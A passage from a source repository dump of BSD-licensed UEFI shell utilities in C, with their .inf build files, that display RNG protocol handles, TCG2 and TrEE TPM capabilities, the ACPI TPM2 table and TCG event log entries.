EFI_RNG_SERVICE_BINDING handles 168 | Status = gBS->LocateHandleBuffer( ByProtocol, 169 | &gEfiRngServiceProtocolGuid, 170 | NULL, 171 | &HandleCount, 172 | &HandleBuffer); 173 | if (EFI_ERROR (Status)) { 174 | Print(L"No EFI_RNG_SERVICE_BINDING_PROTOCOL handles found"); 175 | } else { 176 | Print(L"RNG service binding protocol handles found [%d]", HandleCount); 177 | } 178 | Print(L"\n\n"); 179 | 180 | 181 | // Try locating EFI_RNG_PROTOCOL handles 182 | Status = gBS->LocateHandleBuffer( ByProtocol, 183 | &gEfiRngProtocolGuid, 184 | NULL, 185 | &HandleCount, 186 | &HandleBuffer); 187 | if (EFI_ERROR (Status) || HandleCount == 0 ) { 188 | Print(L"ERROR: No EFI_RNG_PROTOCOL handles found\n"); 189 | return Status; 190 | } 191 | 192 | #ifdef DEBUG 193 | Print(L"RNG protocol found [%d]\n", HandleCount); 194 | #endif 195 | 196 | for (int Index = 0; Index < HandleCount; Index++) { 197 | Status = gBS->HandleProtocol( HandleBuffer[Index], 198 | &gEfiRngProtocolGuid, 199 | (VOID*) &Rng); 200 | if (!EFI_ERROR (Status)) { 201 | PrintDeviceRng(Index, Rng); 202 | } else { 203 | Print(L"ERROR: HandleProtocol [%d]\n", Status); 204 | } 205 | } 206 | FreePool(HandleBuffer); 207 | 208 | return EFI_SUCCESS; 209 | } 210 | -------------------------------------------------------------------------------- /MyApps/ShowRNG/ShowRNG.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowRNG 4 | FILE_GUID = 4ea88c52-7491-4dfd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowRNG.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowTCM20/ShowTCM20.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define EFI_TCG2_PROTOCOL_GUID \ 14 | {0x607f766c, 0x7455, 0x42be, { 0x93, 0x0b, 0xe4, 0xd7, 0x6d, 0xb2, 0x72, 0x0f }} 15 | 16 | 17 | CHAR16 * 18 | ManufacturerStr(UINT32 ManufacturerID) 19 | { 20 | static CHAR16 Mcode[5]; 21 | 22 | Mcode[0] = (CHAR16) ((ManufacturerID & 0xff000000) >> 24); 23 | Mcode[1] = (CHAR16) ((ManufacturerID & 0x00ff0000) >> 16); 24 | Mcode[2] = (CHAR16) ((ManufacturerID & 0x0000ff00) >> 8); 25 | Mcode[3] = (CHAR16) (ManufacturerID & 0x000000ff); 26 | Mcode[4] = (CHAR16) '\0'; 27 | 28 | return Mcode; 29 | } 30 | 31 | 32 | INTN 33 | EFIAPI 34 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 35 | { 36 | EFI_STATUS Status = EFI_SUCCESS; 37 | EFI_TCG2_PROTOCOL *Tcg2Protocol; 38 | EFI_TCG2_BOOT_SERVICE_CAPABILITY CapabilityData; 39 | EFI_GUID gEfiTcg2ProtocolGuid = EFI_TCG2_PROTOCOL_GUID; 40 | 41 | Status = gBS->LocateProtocol( &gEfiTcg2ProtocolGuid, 42 | NULL, 43 | (VOID **) &Tcg2Protocol); 44 | if (EFI_ERROR (Status)) { 45 | Print(L"Failed to locate EFI_TCG2_PROTOCOL [%d]\n", Status); 46 | return Status; 47 | } 48 | 49 | 50 | CapabilityData.Size = (UINT8)sizeof(CapabilityData); 51 | Status = Tcg2Protocol->GetCapability(Tcg2Protocol, &CapabilityData); 52 | if (EFI_ERROR (Status)) { 53 | Print(L"ERROR: Tcg2Protocol GetCapacity [%d]\n", Status); 54 | return Status; 55 | } 56 | 57 | Print(L" Structure Version: %d.%d\n", 58 | CapabilityData.StructureVersion.Major, 59 | CapabilityData.StructureVersion.Minor); 60 | Print(L" Protocol Version: %d.%d\n", 61 | CapabilityData.ProtocolVersion.Major, 62 | CapabilityData.ProtocolVersion.Minor); 63 | 64 | Print(L" Supported Hash Algorithms: "); 65 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA1) != 0) { 66 | Print(L"SHA1 "); 67 | } 68 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA256) != 0) { 69 | Print(L"SHA256 "); 70 | } 71 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA384) != 0) { 72 | Print(L"SHA384 "); 73 | } 74 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA512) != 0) { 75 | Print(L"SHA512 "); 76 | } 77 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SM3_256) != 0) { 78 | Print(L"SM3_256 "); 79 | } 80 | Print(L"\n"); 81 | 82 | Print(L"Supported Event Log Formats: "); 83 | if ((CapabilityData.SupportedEventLogs & EFI_TCG2_EVENT_LOG_FORMAT_TCG_1_2) != 0) { 84 | Print(L"TCG_1.2 "); 85 | } 86 | if ((CapabilityData.SupportedEventLogs & EFI_TCG2_EVENT_LOG_FORMAT_TCG_2) != 0) { 87 | Print(L"TCG_2 "); 88 | } 89 | Print(L"\n"); 90 | 91 | Print(L" TPM Present Flag: "); 92 | if (CapabilityData.TPMPresentFlag) { 93 | Print(L"True\n"); 94 | } else { 95 | Print(L"False\n"); 96 | } 97 | 98 | Print(L" Maximum Command Size: %d\n", CapabilityData.MaxCommandSize); 99 | Print(L" Maximum Response Size: %d\n", CapabilityData.MaxResponseSize); 100 | 101 | Print(L" Manufactuer ID: %s\n", ManufacturerStr(CapabilityData.ManufacturerID)); 102 | 103 | Print(L" Number of PCR Banks: %ld\n", CapabilityData.NumberOfPCRBanks); 104 | 105 | return Status; 106 | } 107 | -------------------------------------------------------------------------------- /MyApps/ShowTCM20/ShowTCM20.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowTCM20 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowTCM20.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowTPM2/ShowTPM2.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2016 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Show ACPI TPM2 table details 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | 25 | #pragma pack (1) 26 | typedef struct _MY_EFI_TPM2_ACPI_TABLE { 27 | EFI_ACPI_SDT_HEADER Header; 28 | UINT16 PlatformClass; 29 | UINT16 Reserved; 30 | UINT64 ControlAreaAddress; 31 | UINT32 StartMethod; 32 | // UINT8 PlatformSpecificParameters[]; 33 | } MY_EFI_TPM2_ACPI_TABLE; 34 | #pragma pack() 35 | 36 | 37 | #define EFI_ACPI_20_TABLE_GUID \ 38 | { 0x8868e871, 0xe4f1, 0x11d3, {0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81 }} 39 | 40 | 41 | 42 | int Verbose = 0; 43 | 44 | 45 | static VOID 46 | AsciiToUnicodeSize( CHAR8 *String, 47 | UINT8 length, 48 | CHAR16 *UniString) 49 | { 50 | int len = length; 51 | 52 | while (*String != '\0' && len > 0) { 53 | *(UniString++) = (CHAR16) *(String++); 54 | len--; 55 | } 56 | *UniString = '\0'; 57 | } 58 | 59 | 60 | // 61 | // Print Start Method details 62 | // 63 | static VOID 64 | PrintStartMethod( UINT32 StartMethod) 65 | { 66 | Print(L" Start Method : %d (", StartMethod); 67 | switch (StartMethod) { 68 | case 0: Print(L"Not allowed"); 69 | break; 70 | case 1: Print(L"vnedor specific legacy use"); 71 | break; 72 | case 2: Print(L"ACPI start method"); 73 | break; 74 | case 3: 75 | case 4: 76 | case 5: Print(L"Verndor specific legacy use"); 77 | break; 78 | case 6: Print(L"Memory mapped I/O"); 79 | break; 80 | case 7: Print(L"Command response buffer interface"); 81 | break; 82 | case 8: Print(L"Command response buffer interface, ACPI start method"); 83 | break; 84 | default: Print(L"Reserved for future use"); 85 | } 86 | Print(L")\n"); 87 | } 88 | 89 | 90 | // 91 | // Parse and print TCM2 Table details 92 | // 93 | static VOID 94 | ParseTPM2(MY_EFI_TPM2_ACPI_TABLE *Tpm2) 95 | { 96 | CHAR16 Buffer[100]; 97 | UINT8 PlatformSpecificMethodsSize = Tpm2->Header.Length - 52; 98 | 99 | Print(L"\n"); 100 | AsciiToUnicodeSize((CHAR8 *)&(Tpm2->Header.Signature), 4, Buffer); 101 | Print(L" Signature : %s\n", Buffer); 102 | Print(L" Length : %d\n", Tpm2->Header.Length); 103 | Print(L" Revision : %d\n", Tpm2->Header.Revision); 104 | Print(L" Checksum : %d\n", Tpm2->Header.Checksum); 105 | AsciiToUnicodeSize((CHAR8 *)(Tpm2->Header.OemId), 6, Buffer); 106 | Print(L" Oem ID : %s\n", Buffer); 107 | AsciiToUnicodeSize((CHAR8 *)(Tpm2->Header.OemTableId), 8, Buffer); 108 | Print(L" Oem Table ID : %s\n", Buffer); 109 | Print(L" Oem Revision : %d\n", Tpm2->Header.OemRevision); 110 | AsciiToUnicodeSize((CHAR8 *)&(Tpm2->Header.CreatorId), 4, Buffer); 111 | Print(L" Creator ID : %s\n", Buffer); 112 | Print(L" Creator Revision : %d\n", Tpm2->Header.CreatorRevision); 113 | Print(L" Platform Class : %d\n", Tpm2->PlatformClass); 114 | Print(L"Control Area Address : %lld\n", Tpm2->ControlAreaAddress); 115 | PrintStartMethod(Tpm2->StartMethod); 116 | Print(L" Platform S.P. Size : %d\n", PlatformSpecificMethodsSize); 117 | Print(L"\n"); 118 | } 119 | 120 | 121 | static int 122 | ParseRSDP( EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *Rsdp, 123 | CHAR16* GuidStr) 124 | { 125 | EFI_ACPI_SDT_HEADER *Xsdt, *Entry; 126 | CHAR16 OemStr[20]; 127 | UINT32 EntryCount; 128 | UINT64 *EntryPtr; 129 | 130 | AsciiToUnicodeSize((CHAR8 *)(Rsdp->OemId), 6, OemStr); 131 | if (Rsdp->Revision >= EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER_REVISION) { 132 | Xsdt = (EFI_ACPI_SDT_HEADER *)(Rsdp->XsdtAddress); 133 | } else { 134 | if (Verbose) { 135 | Print(L"ERROR: Invalid RSDP revision number.\n"); 136 | } 137 | return 1; 138 | } 139 | 140 | if (Xsdt->Signature != SIGNATURE_32 ('X', 'S', 'D', 'T')) { 141 | if (Verbose) { 142 | Print(L"ERROR: XSDT table signature not found.\n"); 143 | } 144 | return 1; 145 | } 146 | 147 | AsciiToUnicodeSize((CHAR8 *)(Xsdt->OemId), 6, OemStr); 148 | EntryCount = (Xsdt->Length - sizeof (EFI_ACPI_SDT_HEADER)) / sizeof(UINT64); 149 | 150 | EntryPtr = (UINT64 *)(Xsdt + 1); 151 | for (int Index = 0; Index < EntryCount; Index++, EntryPtr++) { 152 | Entry = (EFI_ACPI_SDT_HEADER *)((UINTN)(*EntryPtr)); 153 | if (Entry->Signature == SIGNATURE_32 ('T', 'P', 'M', '2')) { 154 | ParseTPM2((MY_EFI_TPM2_ACPI_TABLE *)((UINTN)(*EntryPtr))); 155 | } 156 | } 157 | 158 | return 0; 159 | } 160 | 161 | 162 | static void 163 | Usage(void) 164 | { 165 | Print(L"Usage: ShowTPM2 [-v|--verbose]\n"); 166 | } 167 | 168 | 169 | INTN 170 | EFIAPI 171 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 172 | { 173 | EFI_CONFIGURATION_TABLE *ect = gST->ConfigurationTable; 174 | EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *Rsdp = NULL; 175 | EFI_GUID Acpi20TableGuid = EFI_ACPI_20_TABLE_GUID; 176 | EFI_STATUS Status = EFI_SUCCESS; 177 | CHAR16 GuidStr[100]; 178 | 179 | 180 | for (int i = 1; i < Argc; i++) { 181 | if (!StrCmp(Argv[i], L"--verbose") || 182 | !StrCmp(Argv[i], L"-v")) { 183 | Verbose = 1; 184 | } else if (!StrCmp(Argv[i], L"--help") || 185 | !StrCmp(Argv[i], L"-h") || 186 | !StrCmp(Argv[i], L"-?")) { 187 | Usage(); 188 | return Status; 189 | } else { 190 | Print(L"ERROR: Unknown option.\n"); 191 | Usage(); 192 | return Status; 193 | } 194 | } 195 | 196 | 197 | // locate RSDP (Root System Description Pointer) 198 | for (int i = 0; i < gST->NumberOfTableEntries; i++) { 199 | if (CompareGuid (&(gST->ConfigurationTable[i].VendorGuid), &Acpi20TableGuid)) { 200 | if (!AsciiStrnCmp("RSD PTR ", (CHAR8 *)(ect->VendorTable), 8)) { 201 | UnicodeSPrint(GuidStr, sizeof(GuidStr), L"%g", &(gST->ConfigurationTable[i].VendorGuid)); 202 | Rsdp = (EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *)ect->VendorTable; 203 | ParseRSDP(Rsdp, GuidStr); 204 | } 205 | } 206 | ect++; 207 | } 208 | 209 | if (Rsdp == NULL) { 210 | if (Verbose) { 211 | Print(L"ERROR: Could not find an ACPI RSDP table.\n"); 212 | } 213 | return EFI_NOT_FOUND; 214 | } 215 | 216 | return Status; 217 | 218 | } 219 | -------------------------------------------------------------------------------- /MyApps/ShowTPM2/ShowTPM2.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowTPM2 4 | FILE_GUID = 4ea87c51-7491-4dfd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowTPM2.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | 18 | [LibraryClasses] 19 | ShellCEntryLib 20 | ShellLib 21 | BaseLib 22 | BaseMemoryLib 23 | UefiLib 24 | 25 | [Protocols] 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ShowTrEE/ShowTrEE.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2016 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display TCG TPM TrEE Protocol information 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define EFI_TREE_SERVICE_BINDING_PROTOCOL_GUID \ 24 | {0x4cf01d0a, 0xc48c, 0x4271, {0xa2, 0x2a, 0xad, 0x8e, 0x55, 0x97, 0x81, 0x88}} 25 | 26 | 27 | VOID 28 | PrintEventDetail(UINT8 *Detail, UINT32 Size) 29 | { 30 | UINT8 *d = Detail; 31 | int Offset = 0; 32 | int Row = 1; 33 | 34 | Print(L" Event Detail: %08x: ", Offset); 35 | 36 | for (int i = 0; i < Size; i++) { 37 | Print(L"%02x", *d++); 38 | Offset++; Row++; 39 | if (Row == 17 || Row == 33) { 40 | Print(L" "); 41 | } 42 | if (Row > 48) { 43 | Row = 1; 44 | Print(L"\n %08x: ", Offset); 45 | } 46 | } 47 | 48 | Print(L"\n"); 49 | } 50 | 51 | 52 | 53 | VOID 54 | PrintEventType(UINT32 EventType, BOOLEAN Verbose) 55 | { 56 | Print(L" Event Type: "); 57 | if (Verbose) { 58 | Print(L"%08x ", EventType); 59 | } 60 | switch (EventType) { 61 | case EV_POST_CODE: Print(L"Post Code"); 62 | break; 63 | case EV_NO_ACTION: Print(L"No Action"); 64 | break; 65 | case EV_SEPARATOR: Print(L"Separator"); 66 | break; 67 | case EV_S_CRTM_CONTENTS: Print(L"CTRM Contents"); 68 | break; 69 | case EV_S_CRTM_VERSION: Print(L"CRTM Version"); 70 | break; 71 | case EV_CPU_MICROCODE: Print(L"CPU Microcode"); 72 | break; 73 | case EV_TABLE_OF_DEVICES: Print(L"Table of Devices"); 74 | break; 75 | case EV_EFI_VARIABLE_DRIVER_CONFIG: Print(L"Variable Driver Config"); 76 | break; 77 | case EV_EFI_VARIABLE_BOOT: Print(L"Variable Boot"); 78 | break; 79 | case EV_EFI_BOOT_SERVICES_APPLICATION: Print(L"Boot Services Application"); 80 | break; 81 | case EV_EFI_BOOT_SERVICES_DRIVER: Print(L"Boot Services Driver"); 82 | break; 83 | case EV_EFI_RUNTIME_SERVICES_DRIVER: Print(L"Runtime Services Driver"); 84 | break; 85 | case EV_EFI_GPT_EVENT: Print(L"GPT Event"); 86 | break; 87 | case EV_EFI_ACTION: Print(L"Action"); 88 | break; 89 | case EV_EFI_PLATFORM_FIRMWARE_BLOB: Print(L"Platform Fireware Blob"); 90 | break; 91 | case EV_EFI_HANDOFF_TABLES: Print(L"Handoff Tables"); 92 | break; 93 | case EV_EFI_VARIABLE_AUTHORITY: Print(L"Variable Authority"); 94 | break; 95 | default: Print(L"Unknown Type"); 96 | break; 97 | } 98 | Print(L"\n"); 99 | } 100 | 101 | 102 | VOID 103 | PrintSHA1(TCG_DIGEST Digest) 104 | { 105 | Print(L" SHA1 Digest: " ); 106 | 107 | for (int j = 0; j < SHA1_DIGEST_SIZE; j++ ) { 108 | Print(L"%02x", Digest.digest[j]); 109 | } 110 | 111 | Print(L"\n"); 112 | } 113 | 114 | 115 | CHAR16 * 116 | ManufacturerStr(UINT32 ManufacturerID) 117 | { 118 | static CHAR16 Mcode[5]; 119 | 120 | Mcode[0] = (CHAR16) ((ManufacturerID & 0xff000000) >> 24); 121 | Mcode[1] = (CHAR16) ((ManufacturerID & 0x00ff0000) >> 16); 122 | Mcode[2] = (CHAR16) ((ManufacturerID & 0x0000ff00) >> 8); 123 | Mcode[3] = (CHAR16) (ManufacturerID & 0x000000ff); 124 | Mcode[4] = (CHAR16) '\0'; 125 | 126 | return Mcode; 127 | } 128 | 129 | 130 | VOID 131 | Usage(CHAR16 *Str) 132 | { 133 | Print(L"Usage: %s [-v|--verbose]\n", Str); 134 | } 135 | 136 | 137 | INTN 138 | EFIAPI 139 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 140 | { 141 | EFI_STATUS Status = EFI_SUCCESS; 142 | EFI_HANDLE *HandleBuffer; 143 | UINTN HandleCount = 0; 144 | EFI_TREE_PROTOCOL *TreeProtocol; 145 | EFI_GUID gEfiGuid = EFI_TREE_SERVICE_BINDING_PROTOCOL_GUID; 146 | TREE_BOOT_SERVICE_CAPABILITY CapabilityData; 147 | EFI_PHYSICAL_ADDRESS EventLogLocation; 148 | EFI_PHYSICAL_ADDRESS EventLogLastEntry; 149 | BOOLEAN EventLogTruncated; 150 | TCG_PCR_EVENT *Event = NULL; 151 | BOOLEAN Verbose = FALSE; 152 | 153 | if (Argc == 2) { 154 | if (!StrCmp(Argv[1], L"--verbose") || 155 | !StrCmp(Argv[1], L"-v")) { 156 | Verbose = TRUE; 157 | } 158 | if (!StrCmp(Argv[1], L"--help") || 159 | !StrCmp(Argv[1], L"-h") || 160 | !StrCmp(Argv[1], L"-?")) { 161 | Usage(Argv[0]); 162 | return Status; 163 | } 164 | } 165 | 166 | // Try locating EFI_TREE_SERVICE_BINDING handles 167 | Status = gBS->LocateHandleBuffer( ByProtocol, 168 | &gEfiGuid, 169 | NULL, 170 | &HandleCount, 171 | &HandleBuffer); 172 | if (EFI_ERROR (Status)) { 173 | Print(L"No EFI_TREE_SERVICE_BINDING_PROTOCOL handles found.\n\n"); 174 | } 175 | 176 | 177 | Status = gBS->LocateProtocol( &gEfiTrEEProtocolGuid, 178 | NULL, 179 | (VOID **) &TreeProtocol); 180 | if (EFI_ERROR (Status)) { 181 | Print(L"Failed to locate EFI_TREE_PROTOCOL [%d]\n", Status); 182 | return Status; 183 | } 184 | 185 | 186 | CapabilityData.Size = (UINT8)sizeof(CapabilityData); 187 | Status = TreeProtocol->GetCapability(TreeProtocol, &CapabilityData); 188 | if (EFI_ERROR (Status)) { 189 | Print(L"ERROR: TrEEProtocol GetCapacity [%d]\n", Status); 190 | return Status; 191 | } 192 | 193 | // check TrEE Protocol present flag and exit if false 194 | if (CapabilityData.TrEEPresentFlag == FALSE) { 195 | Print(L"ERROR: TrEEProtocol TrEEPresentFlag is false.\n"); 196 | return Status; 197 | } 198 | 199 | Print(L" Structure version: %d.%d\n", 200 | CapabilityData.StructureVersion.Major, 201 | CapabilityData.StructureVersion.Minor); 202 | Print(L" Protocol version: %d.%d\n", 203 | CapabilityData.ProtocolVersion.Major, 204 | CapabilityData.ProtocolVersion.Minor); 205 | 206 | Print(L" Supported Hash Algorithms: "); 207 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA1) != 0) { 208 | Print(L"SHA1 "); 209 | } 210 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA256) != 0) { 211 | Print(L"SHA256 "); 212 | } 213 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA384) != 0) { 214 | Print(L"SHA384 "); 215 | } 216 | if ((CapabilityData.HashAlgorithmBitmap & EFI_TCG2_BOOT_HASH_ALG_SHA512) != 0) { 217 | Print(L"SHA512 "); 218 | } 219 | Print(L"\n"); 220 | 221 | Print(L" TrEE Present Flag: "); 222 | if (CapabilityData.TrEEPresentFlag) { 223 | Print(L"True\n"); 224 | } else { 225 | Print(L"False\n"); 226 | } 227 | 228 | Print(L"Supported Event Log Formats: "); 229 | if ((CapabilityData.SupportedEventLogs & TREE_EVENT_LOG_FORMAT_TCG_1_2) != 0) { 230 | Print(L"TCG_1.2 "); 231 | } 232 | Print(L"\n"); 233 | 234 | Print(L" Maximum Command Size: %d\n", CapabilityData.MaxCommandSize); 235 | Print(L" Maximum Response Size: %d\n", CapabilityData.MaxResponseSize); 236 | 237 | Print(L" Manufactuer ID: %s\n", ManufacturerStr(CapabilityData.ManufacturerID)); 238 | 239 | Status = TreeProtocol->GetEventLog( TreeProtocol, 240 | TREE_EVENT_LOG_FORMAT_TCG_1_2, 241 | &EventLogLocation, 242 | &EventLogLastEntry, 243 | &EventLogTruncated ); 244 | if (EFI_ERROR (Status)) { 245 | Print(L"ERROR: TreeProtocol GetEventLog [%d]\n", Status); 246 | return Status; 247 | } 248 | 249 | Event = (TCG_PCR_EVENT *) EventLogLastEntry; 250 | 251 | Print(L" Last Event PCR Index: %u\n", Event->PCRIndex); 252 | PrintEventType(Event->EventType, Verbose); 253 | PrintSHA1(Event->Digest); 254 | Print(L" Event Size: %d\n", Event->EventSize); 255 | if (Verbose) { 256 | PrintEventDetail(Event->Event, Event->EventSize); 257 | } 258 | Print(L"\n"); 259 | 260 | return Status; 261 | } 262 | -------------------------------------------------------------------------------- /MyApps/ShowTrEE/ShowTrEE.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowTrEE 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowTrEE.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | gEfiTrEEProtocolGuid ## CONSUMES 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ShowTrEELog/ShowTrEELog.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display all the TCG TrEE log entries 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | 24 | VOID 25 | PrintEventDetail(UINT8 *Detail, UINT32 Size) 26 | { 27 | UINT8 *d = Detail; 28 | int Offset = 0; 29 | int Row = 1; 30 | 31 | Print(L" Event Detail: %08x: ", Offset); 32 | 33 | for (int i = 0; i < Size; i++) { 34 | Print(L"%02x", *d++); 35 | Offset++; Row++; 36 | if (Row == 17 || Row == 33) { 37 | Print(L" "); 38 | } 39 | if (Row > 48) { 40 | Row = 1; 41 | Print(L"\n %08x: ", Offset); 42 | } 43 | } 44 | 45 | Print(L"\n"); 46 | } 47 | 48 | 49 | VOID 50 | PrintEventType(UINT32 EventType, BOOLEAN Verbose) 51 | { 52 | Print(L" Event Type: "); 53 | if (Verbose) { 54 | Print(L"%08x ", EventType); 55 | } 56 | switch (EventType) { 57 | case EV_POST_CODE: Print(L"Post Code"); 58 | break; 59 | case EV_NO_ACTION: Print(L"No Action"); 60 | break; 61 | case EV_SEPARATOR: Print(L"Separator"); 62 | break; 63 | case EV_S_CRTM_CONTENTS: Print(L"CTRM Contents"); 64 | break; 65 | case EV_S_CRTM_VERSION: Print(L"CRTM Version"); 66 | break; 67 | case EV_CPU_MICROCODE: Print(L"CPU Microcode"); 68 | break; 69 | case EV_TABLE_OF_DEVICES: Print(L"Table of Devices"); 70 | break; 71 | case EV_EFI_VARIABLE_DRIVER_CONFIG: Print(L"Variable Driver Config"); 72 | break; 73 | case EV_EFI_VARIABLE_BOOT: Print(L"Variable Boot"); 74 | break; 75 | case EV_EFI_BOOT_SERVICES_APPLICATION: Print(L"Boot Services Application"); 76 | break; 77 | case EV_EFI_BOOT_SERVICES_DRIVER: Print(L"Boot Services Driver"); 78 | break; 79 | case EV_EFI_RUNTIME_SERVICES_DRIVER: Print(L"Runtime Services Driver"); 80 | break; 81 | case EV_EFI_GPT_EVENT: Print(L"GPT Event"); 82 | break; 83 | case EV_EFI_ACTION: Print(L"Action"); 84 | break; 85 | case EV_EFI_PLATFORM_FIRMWARE_BLOB: Print(L"Platform Fireware Blob"); 86 | break; 87 | case EV_EFI_HANDOFF_TABLES: Print(L"Handoff Tables"); 88 | break; 89 | case EV_EFI_VARIABLE_AUTHORITY: Print(L"Variable Authority"); 90 | break; 91 | default: Print(L"Unknown Type"); 92 | break; 93 | } 94 | Print(L"\n"); 95 | } 96 | 97 | 98 | VOID 99 | PrintSHA1(TCG_DIGEST Digest) 100 | { 101 | Print(L" SHA1 Digest: " ); 102 | 103 | for (int j = 0; j < SHA1_DIGEST_SIZE; j++ ) { 104 | Print(L"%02x", Digest.digest[j]); 105 | } 106 | 107 | Print(L"\n"); 108 | } 109 | 110 | 111 | VOID 112 | PrintLog(TCG_PCR_EVENT *Event, BOOLEAN Verbose) 113 | { 114 | Print(L"Event PCR Index: %u\n", Event->PCRIndex); 115 | PrintEventType(Event->EventType, Verbose); 116 | PrintSHA1(Event->Digest); 117 | Print(L" Event Size: %d\n", Event->EventSize); 118 | if (Verbose) { 119 | PrintEventDetail(Event->Event, Event->EventSize); 120 | } 121 | Print(L"\n"); 122 | } 123 | 124 | 125 | VOID 126 | Usage(CHAR16 *Str) 127 | { 128 | Print(L"Usage: %s [-v|--verbose]\n", Str); 129 | } 130 | 131 | 132 | INTN 133 | EFIAPI 134 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 135 | { 136 | EFI_STATUS Status = EFI_SUCCESS; 137 | EFI_TREE_PROTOCOL *TreeProtocol; 138 | EFI_PHYSICAL_ADDRESS LogLocation; 139 | EFI_PHYSICAL_ADDRESS LogLastEntry; 140 | EFI_PHYSICAL_ADDRESS LogAddress; 141 | TCG_PCR_EVENT *Event = NULL; 142 | BOOLEAN LogTruncated; 143 | BOOLEAN Verbose = FALSE; 144 | 145 | if (Argc == 2) { 146 | if (!StrCmp(Argv[1], L"--verbose") || 147 | !StrCmp(Argv[1], L"-v")) { 148 | Verbose = TRUE; 149 | } 150 | if (!StrCmp(Argv[1], L"--help") || 151 | !StrCmp(Argv[1], L"-h") || 152 | !StrCmp(Argv[1], L"-?")) { 153 | Usage(Argv[0]); 154 | return Status; 155 | } 156 | } 157 | 158 | Status = gBS->LocateProtocol( &gEfiTrEEProtocolGuid, 159 | NULL, 160 | (VOID **) &TreeProtocol); 161 | if (EFI_ERROR (Status)) { 162 | Print(L"Failed to 